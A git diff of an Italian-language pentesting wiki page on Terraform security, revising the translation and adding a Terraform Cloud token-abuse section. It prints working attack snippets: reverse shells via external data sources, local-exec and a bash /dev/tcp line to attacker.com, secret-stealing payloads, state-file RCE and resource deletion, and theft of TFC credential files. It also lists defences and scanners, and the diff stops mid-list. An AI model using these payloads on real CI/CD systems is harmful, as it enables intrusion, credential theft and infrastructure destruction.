diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 3ffce8864..3ce167b56 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -4,23 +4,23 @@ ## Informazioni di base -[Dal documento:](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform è uno **strumento di infrastruttura come codice** che ti consente di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riutilizzare e condividere. Puoi quindi utilizzare un flusso di lavoro coerente per fornire e gestire tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come risorse di calcolo, archiviazione e rete, così come componenti ad alto livello come voci DNS e funzionalità SaaS. +HashiCorp Terraform è uno strumento **infrastructure as code** che permette di definire sia **risorse cloud che on-prem** in file di configurazione leggibili dall'uomo che puoi versionare, riusare e condividere. Puoi quindi usare un flusso di lavoro coerente per provisioning e gestione di tutta la tua infrastruttura durante il suo ciclo di vita. Terraform può gestire componenti a basso livello come compute, storage e networking, così come componenti ad alto livello come voci DNS e feature SaaS. #### Come funziona Terraform? -Terraform crea e gestisce risorse su piattaforme cloud e altri servizi attraverso le loro interfacce di programmazione delle applicazioni (API). I provider consentono a Terraform di lavorare con praticamente qualsiasi piattaforma o servizio con un'API accessibile. +Terraform crea e gestisce risorse su piattaforme cloud e altri servizi tramite le loro application programming interfaces (APIs). I provider permettono a Terraform di interagire con virtualmente qualsiasi piattaforma o servizio con un'API accessibile. ![](<../images/image (177).png>) -HashiCorp e la comunità di Terraform hanno già scritto **più di 1700 provider** per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider disponibili pubblicamente nel [Terraform Registry](https://registry.terraform.io/), inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e molti altri. +HashiCorp e la community di Terraform hanno già scritto **più di 1700 provider** per gestire migliaia di diversi tipi di risorse e servizi, e questo numero continua a crescere. Puoi trovare tutti i provider pubblici su [Terraform Registry](https://registry.terraform.io/), inclusi Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, e molti altri. -Il flusso di lavoro principale di Terraform consiste in tre fasi: +Il workflow principale di Terraform consiste di tre fasi: -- **Scrivi:** Definisci risorse, che possono essere distribuite su più provider e servizi cloud. Ad esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una rete Virtual Private Cloud (VPC) con gruppi di sicurezza e un bilanciatore di carico. -- **Pianifica:** Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà in base all'infrastruttura esistente e alla tua configurazione. -- **Applica:** Su approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando eventuali dipendenze delle risorse. Ad esempio, se aggiorni le proprietà di un VPC e cambi il numero di macchine virtuali in quel VPC, Terraform ricreerà il VPC prima di scalare le macchine virtuali. +- **Write:** Definisci le risorse, che possono essere distribuite su più cloud provider e servizi. Per esempio, potresti creare una configurazione per distribuire un'applicazione su macchine virtuali in una Virtual Private Cloud (VPC) con gruppi di sicurezza e un load balancer. +- **Plan:** Terraform crea un piano di esecuzione che descrive l'infrastruttura che creerà, aggiornerà o distruggerà basandosi sull'infrastruttura esistente e sulla tua configurazione. +- **Apply:** Dopo l'approvazione, Terraform esegue le operazioni proposte nell'ordine corretto, rispettando le dipendenze delle risorse. Per esempio, se aggiorni le proprietà di una VPC e cambi il numero di macchine virtuali in quella VPC, Terraform ricreerà la VPC prima di scalare le macchine virtuali. ![](<../images/image (215).png>) @@ -28,41 +28,41 @@ Il flusso di lavoro principale di Terraform consiste in tre fasi: Basta installare terraform sul tuo computer. -Qui hai una [guida](https://learn.hashicorp.com/tutorials/terraform/install-cli) e qui hai il [modo migliore per scaricare terraform](https://www.terraform.io/downloads). +Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). -## RCE in Terraform: avvelenamento del file di configurazione +## RCE in Terraform: avvelenamento dei file di configurazione -Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo sottostante). +Terraform **non espone una piattaforma con una pagina web o un servizio di rete** che possiamo enumerare, quindi l'unico modo per compromettere terraform è **poter aggiungere/modificare i file di configurazione di terraform** o **poter modificare il terraform state file** (vedi capitolo sotto). -Tuttavia, terraform è un **componente molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni affinché possa funzionare correttamente. +Tuttavia, terraform è un componente **molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni per poter funzionare correttamente. -Il modo principale per un attaccante di compromettere il sistema in cui terraform è in esecuzione è **compromettere il repository che memorizza le configurazioni di terraform**, perché a un certo punto verranno **interpretate**. +Il modo principale per un attaccante di compromettere il sistema dove terraform è in esecuzione è **compromettere il repository che memorizza le configurazioni terraform**, perché a un certo punto verranno **interpretate**. -In realtà, ci sono soluzioni là fuori che **eseguono automaticamente terraform plan/apply dopo che è stata creata una PR**, come **Atlantis**: +In effetti, esistono soluzioni che **eseguono terraform plan/apply automaticamente dopo la creazione di una PR**, come **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`. +Se riesci a compromettere un file terraform ci sono diversi modi per eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`. ### Terraform plan -Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori/soluzioni che utilizzano terraform lo chiamano tutto il tempo, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform che eseguirà comandi arbitrari in un `terraform plan`. +Terraform plan è il comando **più usato** in terraform e sviluppatori/soluzioni che usano terraform lo chiamano continuamente, quindi il **modo più semplice per ottenere RCE** è assicurarsi di avvelenare un file di configurazione terraform in modo che esegua comandi arbitrari in un `terraform plan`. -**Utilizzando un provider esterno** +### Usare l'external provider -Terraform offre il [`provider` esterno](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`. +Terraform offre il provider [`external`](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciare Terraform e programmi esterni. Puoi usare la data source `external` per eseguire codice arbitrario durante un `plan`. -Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`: +Inserire in un file di configurazione terraform qualcosa come il seguente eseguirà una rev shell quando viene eseguito `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Utilizzando un provider personalizzato** +**Uso di un provider personalizzato** -Un attaccante potrebbe inviare un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un branch di funzionalità ([esempio da qui](https://alex.kaskaso.li/post/terraform-plan-rce)): +Un attaccante potrebbe pubblicare un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) nel [Terraform Registry](https://registry.terraform.io/) e poi aggiungerlo al codice Terraform in un feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito `plan`. +Il provider viene scaricato in `init` e eseguirà il codice dannoso quando `plan` viene eseguito Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Utilizzando un riferimento esterno** +**Usare un riferimento esterno** -Entrambe le opzioni menzionate sono utili ma non molto furtive (la seconda è più furtiva ma più complessa della prima). Puoi eseguire questo attacco anche in un modo **più furtivo**, seguendo questi suggerimenti: +Entrambe le opzioni menzionate sono utili ma non molto stealthy (la seconda è più stealthy ma più complessa della prima). Puoi eseguire questo attacco in un modo ancora più **stealthy**, seguendo questi suggerimenti: -- Invece di aggiungere direttamente la rev shell nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell: +- Invece di aggiungere la rev shell direttamente nel file terraform, puoi **caricare una risorsa esterna** che contiene la rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Puoi trovare il rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Nella risorsa esterna, usa la feature **ref** per nascondere il **terraform rev shell code in a branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando **un file Terraform malevolo con** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Devi solo assicurarti che qualche payload come i seguenti termini nel file `main.tf`: +Terraform apply verrà eseguito per applicare tutte le modifiche, puoi anche abusarne per ottenere RCE iniettando **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Devi solo assicurarti che qualche payload come i seguenti finisca nel file `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,25 +112,25 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Segui le **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più furtivo utilizzando riferimenti esterni**. +Segui i **suggerimenti della tecnica precedente** per eseguire questo attacco in modo **più stealth sfruttando riferimenti esterni**. -## Dump di Segreti +## Secrets Dumps -Puoi avere **valori segreti utilizzati da terraform dumpati** eseguendo `terraform apply` aggiungendo al file terraform qualcosa come: +Puoi ottenere il dump dei **secret values usati da terraform** eseguendo `terraform apply` aggiungendo al file terraform qualcosa del tipo: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Abusare dei file di stato di Terraform +## Abuso dei file di stato di Terraform -Nel caso in cui tu abbia accesso in scrittura ai file di stato di terraform ma non possa modificare il codice terraform, [**questa ricerca**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, utilizzare il vettore dei file di stato è spesso molto più subdolo, poiché non lasci tracce nella cronologia di `git`. +Nel caso tu abbia accesso in scrittura ai terraform state files ma non possa modificare il codice terraform, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) offre alcune opzioni interessanti per sfruttare il file. Anche se avessi accesso in scrittura ai file di configurazione, usare il vettore dei file di stato è spesso molto più furtivo, poiché non lasci tracce nella history di `git`. -### RCE in Terraform: avvelenamento del file di configurazione +### RCE in Terraform: config file poisoning -È possibile [creare un provider personalizzato](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel file di stato di terraform con quello malevolo o aggiungere una risorsa falsa che fa riferimento al provider malevolo. +È possibile [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) e semplicemente sostituire uno dei provider nel terraform state file con quello malevolo oppure aggiungere una fake resource che fa riferimento al provider malevolo. -Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una risorsa falsa e specificare il comando bash arbitrario che desideri eseguire nell'attributo `command`. Quando viene attivato il run di `terraform`, questo verrà letto ed eseguito sia nei passaggi `terraform plan` che `terraform apply`. Nel caso del passaggio `terraform apply`, `terraform` eliminerà la risorsa falsa dal file di stato dopo aver eseguito il tuo comando, ripulendo dopo se stesso. Maggiori informazioni e una demo completa possono essere trovate nel [repository GitHub che ospita il codice sorgente per questo provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Il provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) si basa sulla ricerca e arma questo principio. Puoi aggiungere una fake resource e specificare il comando bash arbitrario che vuoi eseguire nell'attributo `command`. Quando il run di `terraform` viene avviato, questo verrà letto ed eseguito sia durante i passaggi di `terraform plan` che di `terraform apply`. Nel caso di `terraform apply`, `terraform` rimuoverà la fake resource dallo state file dopo aver eseguito il tuo comando, ripulendo le tracce. Maggiori informazioni e una demo completa si trovano nel [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione dell'array `resources` e personalizzare gli attributi `name` e `command`: ```json @@ -152,13 +152,13 @@ Per usarlo direttamente, basta includere quanto segue in qualsiasi posizione del ] } ``` -Poi, non appena `terraform` viene eseguito, il tuo codice verrà eseguito. +Quindi, non appena `terraform` viene eseguito, il tuo codice verrà eseguito. ### Eliminazione delle risorse Ci sono 2 modi per distruggere le risorse: -1. **Inserire una risorsa con un nome casuale nel file di stato che punta alla risorsa reale da distruggere** +1. **Inserire una risorsa con un nome casuale nel file di stato che punti alla risorsa reale da distruggere** Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà (seguendo l'ID della risorsa reale indicato). Esempio dalla pagina precedente: ```json @@ -176,13 +176,13 @@ Poiché terraform vedrà che la risorsa non dovrebbe esistere, la distruggerà ( ] }, ``` -2. **Modifica la risorsa da eliminare in un modo che non sia possibile aggiornare (quindi verrà eliminata e ricreata)** +2. **Modificare la risorsa in modo che non sia possibile aggiornarla (quindi verrà eliminata e ricreata)** -Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì che terraform la elimini e la ricrei. +Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per fare in modo che terraform la cancelli e la ricrei. -### Sostituisci il provider in blacklist +### Sostituire un provider inserito nella blacklist -Nel caso tu incontri una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: Utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione. +Nel caso in cui ti trovi nella situazione in cui `hashicorp/external` è stato inserito nella blacklist, puoi re-implementare il provider `external` eseguendo quanto segue. Nota: utilizziamo un fork del provider `external` pubblicato su https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o una tua re-implementazione. ```terraform terraform { required_providers { @@ -199,21 +199,21 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Terraform Cloud speculative plan RCE e esfiltrazione delle credenziali +## Terraform Cloud speculative plan RCE and credential exfiltration -Questo scenario sfrutta i runner di Terraform Cloud (TFC) durante i piani speculativi per pivotare nell'account cloud target. +This scenario abuses Terraform Cloud (TFC) runners during speculative plans to pivot into the target cloud account. - Preconditions: -- Rubare un token di Terraform Cloud da una macchina di sviluppo. Il CLI memorizza i token in testo semplice in `~/.terraform.d/credentials.tfrc.json`. -- Il token deve avere accesso all'organizzazione/workspace target e almeno il permesso `plan`. Gli workspace supportati da VCS bloccano `apply` dal CLI, ma consentono comunque piani speculativi. +- Rubare un Terraform Cloud token da una macchina di uno sviluppatore. Il CLI memorizza i token in chiaro in `~/.terraform.d/credentials.tfrc.json`. +- Il token deve avere accesso all'organizzazione/workspace target e almeno il permesso `plan`. VCS-backed workspaces bloccano `apply` dalla CLI, ma consentono comunque speculative plans. -- Scoprire le impostazioni di workspace e VCS tramite l'API TFC: +- Scopri workspace e impostazioni VCS tramite la TFC API: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- Attivare l'esecuzione del codice durante un piano speculativo utilizzando la fonte di dati esterna e il blocco "cloud" di Terraform Cloud per mirare allo spazio di lavoro supportato da VCS: +- Avviare l'esecuzione di codice durante un speculative plan utilizzando l'external data source e il blocco "cloud" di Terraform Cloud per prendere di mira il VCS-backed workspace: ```hcl terraform { cloud { @@ -226,30 +226,30 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -Esempio di rsync.sh per ottenere una reverse shell sul runner TFC: +Esempio di rsync.sh per ottenere una reverse shell sul TFC runner: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -Esegui un piano speculativo per eseguire il programma sul runner effimero: +Esegui un piano speculativo per avviare il programma sul runner effimero: ```bash terraform init terraform plan ``` -- Enumerare ed esfiltrare le credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali del provider tramite file e variabili d'ambiente: +- Enumerare ed esfiltrare credenziali cloud iniettate dal runner. Durante le esecuzioni, TFC inietta le credenziali dei provider tramite file e variabili d'ambiente: ```bash env | grep -i gcp || true env | grep -i aws || true ``` File previsti nella directory di lavoro del runner: - GCP: -- `tfc-google-application-credentials` (configurazione JSON per l'identità di lavoro) -- `tfc-gcp-token` (token di accesso GCP a breve termine) +- `tfc-google-application-credentials` (config JSON per Workload Identity Federation) +- `tfc-gcp-token` (token di accesso GCP a breve durata) - AWS: -- `tfc-aws-shared-config` (configurazione per l'assunzione del ruolo di identità web/OIDC) -- `tfc-aws-token` (token a breve termine; alcune organizzazioni potrebbero utilizzare chiavi statiche) +- `tfc-aws-shared-config` (config per assunzione del ruolo web identity/OIDC) +- `tfc-aws-token` (token a breve durata; alcune organizzazioni potrebbero usare chiavi statiche) -- Utilizzare le credenziali a breve termine in modo separato per bypassare i gate VCS: +- Usa le credenziali a breve durata out-of-band per bypassare i gate VCS: GCP (gcloud): ```bash @@ -263,28 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente utilizzando CLIs nativi, eludendo i flussi di lavoro basati su PR che bloccano `apply` tramite VCS. +Con queste credenziali, gli attaccanti possono creare/modificare/distruggere risorse direttamente usando i CLI nativi, aggirando i workflow basati su PR che bloccano `apply` via VCS. -- Indicazioni difensive: -- Applica il principio del minimo privilegio agli utenti/ai team e ai token TFC. Audit delle appartenenze e evita proprietari sovradimensionati. -- Limita il permesso `plan` su spazi di lavoro sensibili supportati da VCS dove possibile. -- Applica elenchi di autorizzazione per provider/sorgenti dati con politiche Sentinel per bloccare `data "external"` o provider sconosciuti. Vedi le indicazioni di HashiCorp sul filtraggio dei provider. -- Preferisci OIDC/WIF rispetto a credenziali cloud statiche; tratta i runner come sensibili. Monitora le esecuzioni di piani speculativi e l'uscita inaspettata. -- Rileva l'esfiltrazione di artefatti di credenziali `tfc-*` e invia avvisi su utilizzi sospetti di programmi `external` durante i piani. +- Linee guida difensive: +- Applicare il principio del minimo privilegio agli utenti/team TFC e ai token. Verificare le membership ed evitare owner sovradimensionati. +- Restringere la permission `plan` sui workspaces sensibili collegati a VCS, quando possibile. +- Applicare allowlist di provider/data source tramite policy Sentinel per bloccare `data "external"` o provider sconosciuti. See HashiCorp guidance on provider filtering. +- Preferire OIDC/WIF alle credenziali cloud statiche; considerare i runners come risorse sensibili. Monitorare run speculativi dei plan e egress inatteso. +- Rilevare l'exfiltrazione di artifact di credenziali `tfc-*` e allertare su uso sospetto del programma `external` durante i plan. -## Strumenti di Audit Automatici +## Compromettere Terraform Cloud + +### Usare un token + +As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope. + +Usando questo token è possibile ottenere l'org/workspace con: +```bash +GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod +Authorization: Bearer +``` +È quindi possibile eseguire codice arbitrario usando **`terraform plan`** come spiegato nel capitolo precedente. + +### Evasione verso il cloud + +Quindi, se il runner si trova in un ambiente cloud, è possibile ottenere un token del principal associato al runner e usarlo out of band. + +- **GCP files (presenti nella working directory dell'esecuzione corrente)** +- `tfc-google-application-credentials` — JSON config per Workload Identity Federation (WIF) che indica a Google come scambiare l'identità esterna. +- `tfc-gcp-token` — token di accesso GCP a breve durata (≈1 ora) referenziato da quanto sopra + +- **File AWS** +- `tfc-aws-shared-config` — JSON per web identity federation / assunzione di ruolo OIDC (preferito rispetto a chiavi statiche). +- `tfc-aws-token` — token a breve durata, o potenzialmente chiavi IAM statiche se mal configurate. + + +## Strumenti di audit automatico ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e configurazioni errate in Terraform, CloudFormation, Kubernetes e altri formati IaC. +Snyk offre una soluzione di scanning completa per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC. -- **Caratteristiche:** -- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità. -- Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket). -- Richieste di pull per correzioni automatiche. -- Consigli dettagliati per la remediation. -- **Registrati:** Crea un account su [Snyk](https://snyk.io/). +- **Funzionalità:** +- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di compliance. +- Integrazione con sistemi di controllo di versione (GitHub, GitLab, Bitbucket). +- Pull request con fix automatici. +- Consigli dettagliati per la risoluzione. +- **Iscriviti:** Crea un account su [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk @@ -293,28 +319,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** è uno strumento di analisi statica del codice per l'infrastruttura come codice (IaC) e anche uno strumento di analisi della composizione del software (SCA) per immagini e pacchetti open source. +**Checkov** è uno strumento di static code analysis per infrastructure as code (IaC) e anche uno strumento di software composition analysis (SCA) per immagini e pacchetti open source. -Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi. +Scansiona l'infrastruttura cloud provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) e rileva misconfigurazioni di security e compliance tramite graph-based scanning. -Esegue la [scansione dell'analisi della composizione del software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), che è una scansione di pacchetti open source e immagini per Vulnerabilità e Esposizioni Comuni (CVE). +Esegue [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), ovvero una scansione di pacchetti open source e immagini alla ricerca di Common Vulnerabilities and Exposures (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice. +Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero focalizzato su sicurezza e conformità per terraform, che abilita la capacità di eseguire test negativi per la tua infrastruttura come codice. -- **compliance:** Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati -- **behaviour driven development:** Abbiamo BDD per quasi tutto, perché non per IaC? -- **portable:** basta installarlo da `pip` o eseguirlo tramite `docker`. Vedi [Installation](https://terraform-compliance.com/pages/installation/) +- **conformità:** Assicura che il codice implementato segua gli standard di sicurezza e i tuoi standard personalizzati +- **sviluppo guidato dal comportamento:** Abbiamo BDD per quasi tutto, perché non per IaC? +- **portabile:** basta installarlo con `pip` o eseguirlo tramite `docker`. Vedi [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** valida il tuo codice prima che venga distribuito -- **easy to integrate:** può essere eseguito nella tua pipeline (o nei git hooks) per garantire che tutte le distribuzioni siano validate. -- **segregation of duty:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile. +- **facile da integrare:** può essere eseguito nella tua pipeline (o nei git hooks) per assicurare che tutte le distribuzioni siano convalidate. +- **separazione dei compiti:** puoi mantenere i tuoi test in un repository diverso dove un team separato è responsabile. > [!NOTE] -> Sfortunatamente, se il codice utilizza alcuni provider a cui non hai accesso, non sarai in grado di eseguire il `terraform plan` e utilizzare questo strumento. +> Sfortunatamente, se il codice usa provider a cui non hai accesso, non potrai eseguire il `terraform plan` e utilizzare questo strumento. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -322,40 +348,53 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -Dalla [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilizza l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni. +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec usa l'analisi statica del tuo codice terraform per individuare potenziali misconfigurazioni. -- ☁️ Controlla le misconfigurazioni su tutti i principali (e alcuni minori) fornitori di cloud +- ☁️ Controlla la presenza di misconfigurazioni in tutti i principali (e alcuni minori) provider cloud - ⛔ Centinaia di regole integrate -- 🪆 Scansione dei moduli (locali e remoti) -- ➕ Valuta le espressioni HCL così come i valori letterali -- ↪️ Valuta le funzioni Terraform ad es. `concat()` +- 🪆 Scansiona moduli (locali e remoti) +- ➕ Valuta espressioni HCL così come valori letterali +- ↪️ Valuta le funzioni Terraform e.g. `concat()` - 🔗 Valuta le relazioni tra le risorse Terraform - 🧰 Compatibile con il Terraform CDK -- 🙅 Applica (e abbellisce) le politiche Rego definite dall'utente -- 📃 Supporta più formati di output: lovely (predefinito), JSON, SARIF, CSV, CheckStyle, JUnit, testo, Gif. -- 🛠️ Configurabile (tramite flag CLI e/o file di configurazione) -- ⚡ Molto veloce, in grado di scansionare rapidamente enormi repository +- 🙅 Applica (e arricchisce) policy Rego definite dall'utente +- 📃 Supporta più formati di output: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. +- 🛠️ Configurabile (tramite flag CLI e/o file di config) +- ⚡ Molto veloce, in grado di scansionare rapidamente repository molto grandi ```bash brew install tfsec tfsec /path/to/folder ``` +### [terrascan](https://github.com/tenable/terrascan) + +Terrascan è un analizzatore statico di codice per Infrastructure as Code. Terrascan consente di: + +- Scansionare senza interruzioni l'Infrastructure as Code per individuare misconfigurazioni. +- Monitorare l'infrastruttura cloud provisioned per cambiamenti di configurazione che introducono posture drift e consentire il ripristino a una postura sicura. +- Rilevare vulnerabilità di sicurezza e violazioni della conformità. +- 